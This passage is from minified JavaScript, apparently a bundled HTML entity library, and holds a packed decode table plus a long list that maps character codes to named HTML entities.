sĀou㗏㗒l;柉b;櫗arr;楻ult;櫂ĀEe㗤㗦;櫌;抋lus;櫀ƀeiu㗴㘉㘌tƀ;enሜ㗼㘂qĀ;qሢ㖲eqĀ;q㗧㗤m;櫈Ābp㘑㘓;櫔;櫖ƀAan㘜㘠㘭rr;懙rĀhr㘦㘨ë∮Ā;oਫ਩war;椪lig耻ß䃟௡㙑㙝㙠ዎ㙳㙹\0㙾㛂\0\0\0\0\0㛛㜃\0㜉㝬\0\0\0㞇ɲ㙖\0\0㙛get;挖;䏄rë๟ƀaey㙦㙫㙰ron;䅥dil;䅣;䑂lrec;挕r;쀀𝔱Ȁeiko㚆㚝㚵㚼ǲ㚋\0㚑eĀ4fኄኁaƀ;sv㚘㚙㚛䎸ym;䏑Ācn㚢㚲kĀas㚨㚮pproø዁im»ኬsðኞĀas㚺㚮ð዁rn耻þ䃾Ǭ̟㛆⋧es膀×;bd㛏㛐㛘䃗Ā;aᤏ㛕r;樱;樰ƀeps㛡㛣㜀á⩍Ȁ;bcf҆㛬㛰㛴ot;挶ir;櫱Ā;o㛹㛼쀀𝕥rk;櫚á㍢rime;怴ƀaip㜏㜒㝤dåቈ΀adempst㜡㝍㝀㝑㝗㝜㝟ngleʀ;dlqr㜰㜱㜶㝀㝂斵own»ᶻeftĀ;e⠀㜾ñम;扜ightĀ;e㊪㝋ñၚot;旬inus;樺lus;樹b;槍ime;樻ezium;揢ƀcht㝲㝽㞁Āry㝷㝻;쀀𝓉;䑆cy;䑛rok;䅧Āio㞋㞎xô᝷headĀlr㞗㞠eftarro÷ࡏightarrow»ཝऀAHabcdfghlmoprstuw㟐㟓㟗㟤㟰㟼㠎㠜㠣㠴㡑㡝㡫㢩㣌㣒㣪㣶ròϭar;楣Ācr㟜㟢ute耻ú䃺òᅐrǣ㟪\0㟭y;䑞ve;䅭Āiy㟵㟺rc耻û䃻;䑃ƀabh㠃㠆㠋ròᎭlac;䅱aòᏃĀir㠓㠘sht;楾;쀀𝔲rave耻ù䃹š㠧㠱rĀlr㠬㠮»ॗ»ႃlk;斀Āct㠹㡍ɯ㠿\0\0㡊rnĀ;e㡅㡆挜r»㡆op;挏ri;旸Āal㡖㡚cr;䅫肻¨͉Āgp㡢㡦on;䅳f;쀀𝕦̀adhlsuᅋ㡸㡽፲㢑㢠ownáᎳarpoonĀlr㢈㢌efô㠭ighô㠯iƀ;hl㢙㢚㢜䏅»ᏺon»㢚parrows;懈ƀcit㢰㣄㣈ɯ㢶\0\0㣁rnĀ;e㢼㢽挝r»㢽op;挎ng;䅯ri;旹cr;쀀𝓊ƀdir㣙㣝㣢ot;拰lde;䅩iĀ;f㜰㣨»᠓Āam㣯㣲rò㢨l耻ü䃼angle;榧ހABDacdeflnoprsz㤜㤟㤩㤭㦵㦸㦽㧟㧤㧨㧳㧹㧽㨁㨠ròϷarĀ;v㤦㤧櫨;櫩asèϡĀnr㤲㤷grt;榜΀eknprst㓣㥆㥋㥒㥝㥤㦖appá␕othinçẖƀhir㓫⻈㥙opô⾵Ā;hᎷ㥢ïㆍĀiu㥩㥭gmá㎳Ābp㥲㦄setneqĀ;q㥽㦀쀀⊊︀;쀀⫋︀setneqĀ;q㦏㦒쀀⊋︀;쀀⫌︀Āhr㦛㦟etá㚜iangleĀlr㦪㦯eft»थight»ၑy;䐲ash»ံƀelr㧄㧒㧗ƀ;beⷪ㧋㧏ar;抻q;扚lip;拮Ābt㧜ᑨaòᑩr;쀀𝔳tré㦮suĀbp㧯㧱»ജ»൙pf;쀀𝕧roð໻tré㦴Ācu㨆㨋r;쀀𝓋Ābp㨐㨘nĀEe㦀㨖»㥾nĀEe㦒㨞»㦐igzag;榚΀cefoprs㨶㨻㩖㩛㩔㩡㩪irc;䅵Ādi㩀㩑Ābg㩅㩉ar;機eĀ;qᗺ㩏;扙erp;愘r;쀀𝔴pf;쀀𝕨Ā;eᑹ㩦atèᑹcr;쀀𝓌ૣណ㪇\0㪋\0㪐㪛\0\0㪝㪨㪫㪯\0\0㫃㫎\0㫘ៜ៟tré៑r;쀀𝔵ĀAa㪔㪗ròσrò৶;䎾ĀAa㪡㪤ròθrò৫að✓is;拻ƀdptឤ㪵㪾Āfl㪺ឩ;쀀𝕩imåឲĀAa㫇㫊ròώròਁĀcq㫒ីr;쀀𝓍Āpt៖㫜ré។Ѐacefiosu㫰㫽㬈㬌㬑㬕㬛㬡cĀuy㫶㫻te耻ý䃽;䑏Āiy㬂㬆rc;䅷;䑋n耻¥䂥r;쀀𝔶cy;䑗pf;쀀𝕪cr;쀀𝓎Ācm㬦㬩y;䑎l耻ÿ䃿Ԁacdefhiosw㭂㭈㭔㭘㭤㭩㭭㭴㭺㮀cute;䅺Āay㭍㭒ron;䅾;䐷ot;䅼Āet㭝㭡træᕟa;䎶r;쀀𝔷cy;䐶grarr;懝pf;쀀𝕫cr;쀀𝓏Ājn㮅㮇;怍j;怌&#039;.split(&quot;&quot;).map(e=&gt;e.charCodeAt(0)))},82826(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r=new Uint16Array(&quot;Ȁaglq\tɭ\0\0p;䀦os;䀧t;䀾t;䀼uot;䀢&quot;.split(&quot;&quot;).map(e=&gt;e.charCodeAt(0)))},47431(){&quot;use strict&quot;;function e(e){for(let t=1;t&lt;e.length;t++)e[t][0]+=e[t-1][0]+1;return e}new Map(e([[9,&quot;&amp;Tab;&quot;],[0,&quot;&amp;NewLine;&quot;],[22,&quot;&amp;excl;&quot;],[0,&quot;&amp;quot;&quot;],[0,&quot;&amp;num;&quot;],[0,&quot;&amp;dollar;&quot;],[0,&quot;&amp;percnt;&quot;],[0,&quot;&amp;amp;&quot;],[0,&quot;&amp;apos;&quot;],[0,&quot;&amp;lpar;&quot;],[0,&quot;&amp;rpar;&quot;],[0,&quot;&amp;ast;&quot;],[0,&quot;&amp;plus;&quot;],[0,&quot;&amp;comma;&quot;],[1,&quot;&amp;period;&quot;],[0,&quot;&amp;sol;&quot;],[10,&quot;&amp;colon;&quot;],[0,&quot;&amp;semi;&quot;],[0,{v:&quot;&amp;lt;&quot;,n:8402,o:&quot;&amp;nvlt;&quot;}],[0,{v:&quot;&amp;equals;&quot;,n:8421,o:&quot;&amp;bne;&quot;}],[0,{v:&quot;&amp;gt;&quot;,n:8402,o:&quot;&amp;nvgt;&quot;}],[0,&quot;&amp;quest;&quot;],[0,&quot;&amp;commat;&quot;],[26,&quot;&amp;lbrack;&quot;],[0,&quot;&amp;bsol;&quot;],[0,&quot;&amp;rbrack;&quot;],[0,&quot;&amp;Hat;&quot;],[0,&quot;&amp;lowbar;&quot;],[0,&quot;&amp;DiacriticalGrave;&quot;],[5,{n:106,o:&quot;&amp;fjlig;&quot;}],[20,&quot;&amp;lbrace;&quot;],[0,&quot;&amp;verbar;&quot;],[0,&quot;&amp;rbrace;&quot;],[34,&quot;&amp;nbsp;&quot;],[0,&quot;&amp;iexcl;&quot;],[0,&quot;&amp;cent;&quot;],[0,&quot;&amp;pound;&quot;],[0,&quot;&amp;curren;&quot;],[0,&quot;&amp;yen;&quot;],[0,&quot;&amp;brvbar;&quot;],[0,&quot;&amp;sect;&quot;],[0,&quot;&amp;die;&quot;],[0,&quot;&amp;copy;&quot;],[0,&quot;&amp;ordf;&quot;],[0,&quot;&amp;laquo;&quot;],[0,&quot;&amp;not;&quot;],[0,&quot;&amp;shy;&quot;],[0,&quot;&amp;circledR;&quot;],[0,&quot;&amp;macr;&quot;],[0,&quot;&amp;deg;&quot;],[0,&quot;&amp;PlusMinus;&quot;],[0,&quot;&amp;sup2;&quot;],[0,&quot;&amp;sup3;&quot;],[0,&quot;&amp;acute;&quot;],[0,&quot;&amp;micro;&quot;],[0,&quot;&amp;para;&quot;],[0,&quot;&amp;centerdot;&quot;],[0,&quot;&amp;cedil;&quot;],[0,&quot;&amp;sup1;&quot;],[0,&quot;&amp;ordm;&quot;],[0,&quot;&amp;raquo;&quot;],[0,&quot;&amp;frac14;&quot;],[0,&quot;&amp;frac12;&quot;],[0,&quot;&amp;frac34;&quot;],[0,&quot;&amp;iquest;&quot;],[0,&quot;&amp;Agrave;&quot;],[0,&quot;&amp;Aacute;&quot;],[0,&quot;&amp;Acirc;&quot;],[0,&quot;&amp;Atilde;&quot;],[0,&quot;&amp;Auml;&quot;],[0,&quot;&amp;angst;&quot;],[0,&quot;&amp;AElig;&quot;],[0,&quot;&amp;Ccedil;&quot;],[0,&quot;&amp;Egrave;&quot;],[0,&quot;&amp;Eacute;&quot;],[0,&quot;&amp;Ecirc;&quot;],[0,&quot;&amp;Euml;&quot;],[0,&quot;&amp;Igrave;&quot;],[0,&quot;&amp;Iacute;&quot;],[0,&quot;&amp;Icirc;&quot;],[0,&quot;&amp;Iuml;&quot;],[0,&quot;&amp;ETH;&quot;],[0,&quot;&amp;Ntilde;&quot;],[0,&quot;&amp;Ograve;&quot;],[0,&quot;&amp;Oacute;&quot;],[0,&quot;&amp;Ocirc;&quot;],[0,&quot;&amp;Otilde;&quot;],[0,&quot;&amp;Ouml;&quot;],[0,&quot;&amp;times;&quot;],[0,&quot;&amp;Oslash;&quot;],[0,&quot;&amp;Ugrave;&quot;],[0,&quot;&amp;Uacute;&quot;],[0,&quot;&amp;Ucirc;&quot;],[0,&quot;&amp;Uuml;&quot;],[0,&quot;&amp;Yacute;&quot;],[0,&quot;&amp;THORN;&quot;],[0,&quot;&amp;szlig;&quot;],[0,&quot;&amp;agrave;&quot;],[0,&quot;&amp;aacute;&quot;],[0,&quot;&amp;acirc;&quot;],[0,&quot;&amp;atilde;&quot;],[0,&quot;&amp;auml;&quot;],[0,&quot;&amp;aring;&quot;],[0,&quot;&amp;aelig;&quot;],[0,&quot;&amp;ccedil;&quot;],[0,&quot;&amp;egrave;&quot;],[0,&quot;&amp;eacute;&quot;],[0,&quot;&amp;ecirc;&quot;],[0,&quot;&amp;euml;&quot;],[0,&quot;&amp;igrave;&quot;],[0,&quot;&amp;iacute;&quot;],[0,&quot;&amp;icirc;&quot;],[0,&quot;&amp;iuml;&quot;],[0,&quot;&amp;eth;&quot;],[0,&quot;&amp;ntilde;&quot;],[0,&quot;&amp;ograve;&quot;],[0,&quot;&amp;oacute;&quot;],[0,&quot;&amp;ocirc;&quot;],[0,&quot;&amp;otilde;&quot;],[0,&quot;&amp;ouml;&quot;],[0,&quot;&amp;div;&quot;],[0,&quot;&amp;oslash;&quot;],[0,&quot;&amp;ugrave;&quot;],[0,&quot;&amp;uacute;&quot;],[0,&quot;&amp;ucirc;&quot;],[0,&quot;&amp;uuml;&quot;],[0,&quot;&amp;yacute;&quot;],[0,&quot;&amp;thorn;&quot;],[0,&quot;&amp;yuml;&quot;],[0,&quot;&amp;Amacr;&quot;],[0,&quot;&amp;amacr;&quot;],[0,&quot;&amp;Abreve;&quot;],[0,&quot;&amp;abreve;&quot;],[0,&quot;&amp;Aogon;&quot;],[0,&quot;&amp;aogon;&quot;],[0,&quot;&amp;Cacute;&quot;],[0,&quot;&amp;cacute;&quot;],[0,&quot;&amp;Ccirc;&quot;],[0,&quot;&amp;ccirc;&quot;],[0,&quot;&amp;Cdot;&quot;],[0,&quot;&amp;cdot;&quot;],[0,&quot;&amp;Ccaron;&quot;],[0,&quot;&amp;ccaron;&quot;],[0,&quot;&amp;Dcaron;&quot;],[0,&quot;&amp;dcaron;&quot;],[0,&quot;&amp;Dstrok;&quot;],[0,&quot;&amp;dstrok;&quot;],[0,&quot;&amp;Emacr;&quot;],[0,&quot;&amp;emacr;&quot;],[2,&quot;&amp;Edot;&quot;],[0,&quot;&amp;edot;&quot;],[0,&quot;&amp;Eogon;&quot;],[0,&quot;&amp;eogon;&quot;],[0,&quot;&amp;Ecaron;&quot;],[0,&quot;&amp;ecaron;&quot;],[0,&quot;&amp;Gcirc;&quot;],[0,&quot;&amp;gcirc;&quot;],[0,&quot;&amp;Gbreve;&quot;],[0,&quot;&amp;gbreve;&quot;],[0,&quot;&amp;Gdot;&quot;],[0,&quot;&amp;gdot;&quot;],[0,&quot;&amp;Gcedil;&quot;],[1,&quot;&amp;Hcirc;&quot;],[0,&quot;&amp;hcirc;&quot;],[0,&quot;&amp;Hstrok;&quot;],[0,&quot;&amp;hstrok;&quot;],[0,&quot;&amp;Itilde;&quot;],[0,&quot;&amp;itilde;&quot;],[0,&quot;&amp;Imacr;&quot;],[0,&quot;&amp;imacr;&quot;],[2,&quot;&amp;Iogon;&quot;],[0,&quot;&amp;iogon;&quot;],[0,&quot;&amp;Idot;&quot;],[0,&quot;&amp;imath;&quot;],[0,&quot;&amp;IJlig;&quot;],[0,&quot;&amp;ijlig;&quot;],[0,&quot;&amp;Jcirc;&quot;],[0,&quot;&amp;jcirc;&quot;],[0,&quot;&amp;Kcedil;&quot;],[0,&quot;&amp;kcedil;&quot;],[0,&quot;&amp;kgreen;&quot;],[0,&quot;&amp;Lacute;&quot;],[0,&quot;&amp;lacute;&quot;],[0,&quot;&amp;Lcedil;&quot;],[0,&quot;&amp;lcedil;&quot;],[0,&quot;&amp;Lcaron;&quot;],[0,&quot;&amp;lcaron;&quot;],[0,&quot;&amp;Lmidot;&quot;],[0,&quot;&amp;lmidot;&quot;],[0,&quot;&amp;Lstrok;&quot;],[0,&quot;&amp;lstrok;&quot;],[0,&quot;&amp;Nacute;&quot;],[0,&quot;&amp;nacute;&quot;],[0,&quot;&amp;Ncedil;&quot;],[0,&quot;&amp;ncedil;&quot;],[0,&quot;&amp;Ncaron;&quot;],[0,&quot;&amp;ncaron;&quot;],[0,&quot;&amp;napos;&quot;],[0,&quot;&amp;ENG;&quot;],[0,&quot;&amp;eng;&quot;],[0,&quot;&amp;Omacr;&quot;],[0,&quot;&amp;omacr;&quot;],[2,&quot;&amp;Odblac;&quot;],[0,&quot;&amp;odblac;&quot;],[0,&quot;&amp;OElig;&quot;],[0,&quot;&amp;oelig;&quot;],[0,&quot;&amp;Racute;&quot;],[0,&quot;&amp;racute;&quot;],[0,&quot;&amp;Rcedil;&quot;],[0,&quot;&amp;rcedil;&quot;],[0,&quot;&amp;Rcaron;&quot;],[0,&quot;&amp;rcaron;&quot;],[0,&quot;&amp;Sacute;&quot;],[0,&quot;&amp;sacute;&quot;],[0,&quot;&amp;Scirc;&quot;],[0,&quot;&amp;scirc;&quot;],[0,&quot;&amp;Scedil;&quot;],[0,&quot;&amp;scedil;&quot;],[0,&quot;&amp;Scaron;&quot;],[0,&quot;&amp;scaron;&quot;],[0,&quot;&amp;Tcedil;&quot;],[0,&quot;&amp;tcedil;&quot;],[0,&quot;&amp;Tcaron;&quot;],[0,&quot;&amp;tcaron;&quot;],[0,&quot;&amp;Tstrok;&quot;],[0,&quot;&amp;tstrok;&quot;],[0,&quot;&amp;Utilde;&quot;],[0,&quot;&amp;utilde;&quot;],[0,&quot;&amp;Umacr;&quot;],[0,&quot;&amp;umacr;&quot;],[0,&quot;&amp;Ubreve;&quot;],[0,&quot;&amp;ubreve;&quot;],[0,&quot;&amp;Uring;&quot;],[0,&quot;&amp;uring;&quot;],[0,&quot;&amp;Udblac;&quot;],[0,&quot;&amp;udblac;&quot;],[0,&quot;&amp;Uogon;&quot;],[0,&quot;&amp;uogon;&quot;],[0,&quot;&amp;Wcirc;&quot;],[0,&quot;&amp;wcirc;&quot;],[0,&quot;&amp;Ycirc;&quot;],[0,&quot;&amp;ycirc;&quot;],[0,&quot;&amp;Yuml;&quot;],[0,&quot;&amp;Zacute;&quot;],[0,&quot;&amp;zacute;&quot;],[0,&quot;&amp;Zdot;&quot;],[0,&quot;&amp;zdot;&quot;],[0,&quot;&amp;Zcaron;&quot;],[0,&quot;&amp;zcaron;&quot;],[19,&quot;&amp;fnof;&quot;],[34,&quot;&amp;imped;&quot;],[63,&quot;&amp;gacute;&quot;],[65,&quot;&amp;jmath;&quot;],[142,&quot;&amp;circ;&quot;],[0,&quot;&amp;caron;&quot;],[16,&quot;&amp;breve;&quot;],[0,&quot;&amp;DiacriticalDot;&quot;],[0,&quot;&amp;ring;&quot;],[0,&quot;&amp;ogon;&quot;],[0,&quot;&amp;DiacriticalTilde;&quot;],[0,&quot;&amp;dblac;&quot;],[51,&quot;&amp;DownBreve;&quot;],[127,&quot;&amp;Alpha;&quot;],[0,&quot;&amp;Beta;&quot;],[0,&quot;&amp;Gamma;&quot;],[0,&quot;&amp;Delta;&quot;],[0,&quot;&amp;Epsilon;&quot;],[0,&quot;&amp;Zeta;&quot;],[0,&quot;&amp;Eta;&quot;],[0,&quot;&amp;Theta;&quot;],[0,&quot;&amp;Iota;&quot;],[0,&quot;&amp;Kappa;&quot;],[0,&quot;&amp;Lambda;&quot;],[0,&quot;&amp;Mu;&quot;],[0,&quot;&amp;Nu;&quot;],[0,&quot;&amp;Xi;&quot;],[0,&quot;&amp;Omicron;&quot;],[0,&quot;&amp;Pi;&quot;],[0,&quot;&amp;Rho;&quot;],[1,&quot;&amp;Sigma;&quot;],[0,&quot;&amp;Tau;&quot;],[0,&quot;&amp;Upsilon;&quot;],[0,&quot;&amp;Phi;&quot;],[0,&quot;&amp;Chi;&quot;],[0,&quot;&amp;Psi;&quot;],[0,&quot;&amp;ohm;&quot;],[7,&quot;&amp;alpha;&quot;],[0,&quot;&amp;beta;&quot;],[0,&quot;&amp;gamma;&quot;],[0,&quot;&amp;delta;&quot;],[0,&quot;&amp;epsi;&quot;],[0,&quot;&amp;zeta;&quot;],[0,&quot;&amp;eta;&quot;],[0,&quot;&amp;theta;&quot;],[0,&quot;&amp;iota;&quot;],[0,&quot;&amp;kappa;&quot;],[0,&quot;&amp;lambda;&quot;],[0,&quot;&amp;mu;&quot;],[0,&quot;&amp;nu;&quot;],[0,&quot;&amp;xi;&quot;],[0,&quot;&amp;omicron;&quot;],[0,&quot;&amp;pi;&quot;],[0,&quot;&amp;rho;&quot;],[0,&quot;&amp;sigmaf;&quot;],[0,&quot;&amp;sigma;&quot;],[0,&quot;&amp;tau;&quot;],[0,&quot;&amp;upsi;&quot;],[0,&quot;&amp;phi;&quot;],[0,&quot;&amp;chi;&quot;],[0,&quot;&amp;psi;&quot;],[0,&quot;&amp;omega;&quot;],[7,&quot;&amp;thetasym;&quot;],[0,&quot;&amp;Upsi;&quot;],[2,&quot;&amp;phiv;&quot;],[0,&quot;&amp;piv;&quot;],[5,&quot;&amp;Gammad;&quot;],[0,&quot;&amp;digamma;&quot;],[18,&quot;&amp;kappav;&quot;],[0,&quot;&amp;rhov;&quot;],[3,&quot;&amp;epsiv;&quot;],[0,&quot;&amp;backepsilon;&quot;],[10,&quot;&amp;IOcy;&quot;],[0,&quot;&amp;DJcy;&quot;],[0,&quot;&amp;GJcy;&quot;],[0,&quot;&amp;Jukcy;&quot;],[0,&quot;&amp;DScy;&quot;],[0,&quot;&amp;Iukcy;&quot;],[0,&quot;&amp;YIcy;&quot;],[0,&quot;&amp;Jsercy;&quot;],[0,&quot;&amp;LJcy;&quot;],[0,&quot;&amp;NJcy;&quot;],[0,&quot;&amp;TSHcy;&quot;],[0,&quot;&amp;KJcy;&quot;],[1,&quot;&amp;Ubrcy;&quot;],[0,&quot;&amp;DZcy;&quot;],[0,&quot;&amp;Acy;&quot;],[0,&quot;&amp;Bcy;&quot;],[0,&quot;&amp;Vcy;&quot;],[0,&quot;&amp;Gcy;&quot;],[0,&quot;&amp;Dcy;&quot;],[0,&quot;&amp;IEcy;&quot;],[0,&quot;&amp;ZHcy;&quot;],[0,&quot;&amp;Zcy;&quot;],[0,&quot;&amp;Icy;&quot;],[0,&quot;&amp;Jcy;&quot;],[0,&quot;&amp;Kcy;&quot;],[0,&quot;&amp;Lcy;&quot;],[0,&quot;&amp;Mcy;&quot;],[0,&quot;&amp;Ncy;&quot;],[0,&quot;&amp;Ocy;&quot;],[0,&quot;&amp;Pcy;&quot;],[0,&quot;&amp;Rcy;&quot;],[0,&quot;&amp;Scy;&quot;],[0,&quot;&amp;Tcy;&quot;],[0,&quot;&amp;Ucy;&quot;],[0,&quot;&amp;Fcy;&quot;],[0,&quot;&amp;KHcy;&quot;],[0,&quot;&amp;TScy;&quot;],[0,&quot;&amp;CHcy;&quot;],[0,&quot;&amp;SHcy;&quot;],[0,&quot;&amp;SHCHcy;&quot;],[0,&quot;&amp;HARDcy;&quot;],[0,&quot;&amp;Ycy;&quot;],[0,&quot;&amp;SOFTcy;&quot;],[0,&quot;&amp;Ecy;&quot;],[0,&quot;&amp;YUcy;&quot;],[0,&quot;&amp;YAcy;&quot;],[0,&quot;&amp;acy;&quot;],[0,&quot;&amp;bcy;&quot;],[0,&quot;&amp;vcy;&quot;],[0,&quot;&amp;gcy;&quot;],[0,&quot;&amp;dcy;&quot;],[0,&quot;&amp;iecy;&quot;],[0,&quot;&amp;zhcy;&quot;],[0,&quot;&amp;zcy;&quot;],[0,&quot;&amp;icy;&quot;],[0,&quot;&amp;jcy;&quot;],[0,&quot;&amp;kcy;&quot;],[0,&quot;&amp;lcy;&quot;],[0,&quot;&amp;mcy;&quot;],[0,&quot;&amp;ncy;&quot;],[0,&quot;&amp;ocy;&quot;],[0,&quot;&amp;pcy;&quot;],[0,&quot;&amp;rcy;&quot;],[0,&quot;&amp;scy;&quot;],[0,&quot;&amp;tcy;&quot;],[0,&quot;&amp;ucy;&quot;],[0,&quot;&amp;fcy;&quot;],[0,&quot;&amp;khcy;&quot;],[0,&quot;&amp;tscy;&quot;],[0,&quot;&amp;chcy;&quot;],[0,&quot;&amp;shcy;&quot;],[0,&quot;&amp;shchcy;&quot;],[0,&quot;&amp;hardcy;&quot;],[0,&quot;&amp;ycy;&quot;],[0,&quot;&amp;softcy;&quot;],[0,&quot;&amp;ecy;&quot;],[0,&quot;&amp;yucy;&quot;],[0,&quot;&amp;yacy;&quot;],[1,&quot;&amp;iocy;&quot;],[0,&quot;&amp;djcy;&quot;],[0,&quot;&amp;gjcy;&quot;],[0,&quot;&amp;jukcy;&quot;],[0,&quot;&amp;dscy;&quot;],[0,&quot;&amp;iukcy;&quot;],[0,&quot;&amp;yicy;&quot;],[0,&quot;&amp;jsercy;&quot;],[0,&quot;&amp;ljcy;&quot;],[0,&quot;&amp;njcy;&quot;],[0,&quot;&amp;tshcy;&quot;],[0,&quot;&amp;kjcy;&quot;],[1,&quot;&amp;ubrcy;&quot;],[0,&quot;&amp;dzcy;&quot;],[7074,&quot;&amp;ensp;&quot;],[0,&quot;&amp;emsp;&quot;],[0,&quot;&amp;emsp13;&quot;],[0,&quot;&amp;emsp14;&quot;],[1,&quot;&amp;numsp;&quot;],[0,&quot;&amp;puncsp;&quot;],[0,&quot;&amp;ThinSpace;&quot;],[0,&quot;&amp;hairsp;&quot;],[0,&quot;&amp;NegativeMediumSpace;&quot;],[0,&quot;&amp;zwnj;&quot;],[0,&quot;&amp;zwj;&quot;],[0,&quot;&amp;lrm;&quot;],[0,&quot;&amp;rlm;&quot;],[0,&quot;&amp;dash;&quot;],[2,&quot;&amp;ndash;&quot;],[0,&quot;&amp;mdash;&quot;],[0,&quot;&amp;horbar;&quot;],[0,&quot;&amp;Verbar;&quot;],[1,&quot;&amp;lsquo;&quot;],[0,&quot;&amp;CloseCurlyQuote;&quot;],[0,&quot;&amp;lsquor;&quot;],[1,&quot;&amp;ldquo;&quot;],[0,&quot;&amp;CloseCurlyDoubleQuote;&quot;],[0,&quot;&amp;bdquo;&quot;],[1,&quot;&amp;dagger;&quot;],[0,&quot;&amp;Dagger;&quot;],[0,&quot;&amp;bull;&quot;],[2,&quot;&amp;nldr;&quot;],[0,&quot;&amp;hellip;&quot;],[9,&quot;&amp;permil;&quot;],[0,&quot;&amp;pertenk;&quot;],[0,&quot;&amp;prime;&quot;],[0,&quot;&amp;Prime;&quot;],[0,&quot;&amp;tprime;&quot;],[0,&quot;&amp;backprime;&quot;],[3,&quot;&amp;lsaquo;&quot;],[0,&quot;&amp;rsaquo;&quot;],[3,&quot;&amp;oline;&quot;],[2,&quot;&amp;caret;&quot;],[1,&quot;&amp;hybull;&quot;],[0,&quot;&amp;frasl;&quot;],[10,&quot;&amp;bsemi;&quot;],[7,&quot;&amp;qprime;&quot;],[7,{v:&quot;&amp;MediumSpace;&quot;,n:8202,o:&quot;&amp;ThickSpace;&quot;}],[0,&quot;&amp;NoBreak;&quot;],[0,&quot;&amp;af;&quot;],[0,&quot;&amp;InvisibleTimes;&quot;],[0,&quot;&amp;ic;&quot;],[72,&quot;&amp;euro;&quot;],[46,&quot;&amp;tdot;&quot;],[0,&quot;&amp;DotDot;&quot;],[37,&quot;&amp;complexes;&quot;],[2,&quot;&amp;incare;&quot;],[4,&quot;&amp;gscr;&quot;],[0,&quot;&amp;hamilt;&quot;],[0,&quot;&amp;Hfr;&quot;],[0,&quot;&amp;Hopf;&quot;],[0,&quot;&amp;planckh;&quot;],[0,&quot;&amp;hbar;&quot;],[0,&quot;&amp;imagline;&quot;],[0,&quot;&amp;Ifr;&quot;],[0,&quot;&amp;lagran;&quot;],[0,&quot;&amp;ell;&quot;],[1,&quot;&amp;naturals;&quot;],[0,&quot;&amp;numero;&quot;],[0,&quot;&amp;copysr;&quot;],[0,&quot;&amp;weierp;&quot;],[0,&quot;&amp;Popf;&quot;],[0,&quot;&amp;Qopf;&quot;],[0,&quot;&amp;realine;&quot;],[0,&quot;&amp;real;&quot;],[0,&quot;&amp;reals;&quot;],[0,&quot;&amp;rx;&quot;],[3,&quot;&amp;trade;&quot;],[1,&quot;&amp;integers;&quot;],[2,&quot;&amp;mho;&quot;],[0,&quot;&amp;zeetrf;&quot;],[0,&quot;&amp;iiota;&quot;],[2,&quot;&amp;bernou;&quot;],[0,&quot;&amp;Cayleys;&quot;],[1,&quot;&amp;escr;&quot;],[0,&quot;&amp;Escr;&quot;],[0,&quot;&amp;Fouriertrf;&quot;],[1,&quot;&amp;Mellintrf;&quot;],[0,&quot;&amp;order;&quot;],[0,&quot;&amp;alefsym;&quot;],[0,&quot;&amp;beth;&quot;],[0,&quot;&amp;gimel;&quot;],[0,&quot;&amp;daleth;&quot;],[12,&quot;&amp;CapitalDifferentialD;&quot;],[0,&quot;&amp;dd;&quot;],[0,&quot;&amp;ee;&quot;],[0,&quot;&amp;ii;&quot;],[10,&quot;&amp;frac13;&quot;],[0,&quot;&amp;frac23;&quot;],[0,&quot;&amp;frac15;&quot;],[0,&quot;&amp;frac25;&quot;],[0,&quot;&amp;frac35;&quot;],[0,&quot;&amp;frac45;&quot;],[0,&quot;&amp;frac16;&quot;],[0,&quot;&amp;frac56;&quot;],[0,&quot;&amp;frac18;&quot;],[0,&quot;&amp;frac38;&quot;],[0,&quot;&amp;frac58;&quot;],[0,&quot;&amp;frac78;&quot;],[49,&quot;&amp;larr;&quot;],[0,&quot;&amp;ShortUpArrow;&quot;],[0,&quot;&amp;rarr;&quot;],[0,&quot;&amp;darr;&quot;],[0,&quot;&amp;harr;&quot;],[0,&quot;&amp;updownarrow;&quot;],[0,&quot;&amp;nwarr;&quot;],[0,&quot;&amp;nearr;&quot;],[0,&quot;&amp;LowerRightArrow;&quot;],[0,&quot;&amp;LowerLeftArrow;&quot;],[0,&quot;&amp;nlarr;&quot;],[0,&quot;&amp;nrarr;&quot;],[1,{v:&quot;&amp;rarrw;&quot;,n:824,o:&quot;&amp;nrarrw;&quot;}],[0,&quot;&amp;Larr;&quot;],[0,&quot;&amp;Uarr;&quot;],[0,&quot;&amp;Rarr;&quot;],[0,&quot;&amp;Darr;&quot;],[0,&quot;&amp;larrtl;&quot;],[0,&quot;&amp;rarrtl;&quot;],[0,&quot;&amp;LeftTeeArrow;&quot;],[0,&quot;&amp;mapstoup;&quot;],[0,&quot;&amp;map;&quot;],[0,&quot;&amp;DownTeeArrow;&quot;],[1,&quot;&amp;hookleftarrow;&quot;],[0,&quot;&amp;hookrightarrow;&quot;],[0,&quot;&amp;larrlp;&quot;],[0,&quot;&amp;looparrowright;&quot;],[0,&quot;&amp;harrw;&quot;],[0,&quot;&amp;nharr;&quot;],[1,&quot;&amp;lsh;&quot;],[0,&quot;&amp;rsh;&quot;],[0,&quot;&amp;ldsh;&quot;],[0,&quot;&amp;rdsh;&quot;],[1,&quot;&amp;crarr;&quot;],[0,&quot;&amp;cularr;&quot;],[0,&quot;&amp;curarr;&quot;],[2,&quot;&amp;circlearrowleft;&quot;],[0,&quot;&amp;circlearrowright;&quot;],[0,&quot;&amp;leftharpoonup;&quot;],[0,&quot;&amp;DownLeftVector;&quot;],[0,&quot;&amp;RightUpVector;&quot;],[0,&quot;&amp;LeftUpVector;&quot;],[0,&quot;&amp;rharu;&quot;],[0,&quot;&amp;DownRightVector;&quot;],[0,&quot;&amp;dharr;&quot;],[0,&quot;&amp;dharl;&quot;],[0,&quot;&amp;RightArrowLeftArrow;&quot;],[0,&quot;&amp;udarr;&quot;],[0,&quot;&amp;LeftArrowRightArrow;&quot;],[0,&quot;&amp;leftleftarrows;&quot;],[0,&quot;&amp;upuparrows;&quot;],[0,&quot;&amp;rightrightarrows;&quot;],[0,&quot;&amp;ddarr;&quot;],[0,&quot;&amp;leftrightharpoons;&quot;],[0,&quot;&amp;Equilibrium;&quot;],[0,&quot;&amp;nlArr;&quot;],[0,&quot;&amp;nhArr;&quot;],[0,&quot;&amp;nrArr;&quot;],[0,&quot;&amp;DoubleLeftArrow;&quot;],[0,&quot;&amp;DoubleUpArrow;&quot;],[0,&quot;&amp;DoubleRightArrow;&quot;],[0,&quot;&amp;dArr;&quot;],[0,&quot;&amp;DoubleLeftRightArrow;&quot;],[0,&quot;&amp;DoubleUpDownArrow;&quot;],[0,&quot;&amp;nwArr;&quot;],[0,&quot;&amp;neArr;&quot;],[0,&quot;&amp;seArr;&quot;],[0,&quot;&amp;swArr;&quot;],[0,&quot;&amp;lAarr;&quot;],[0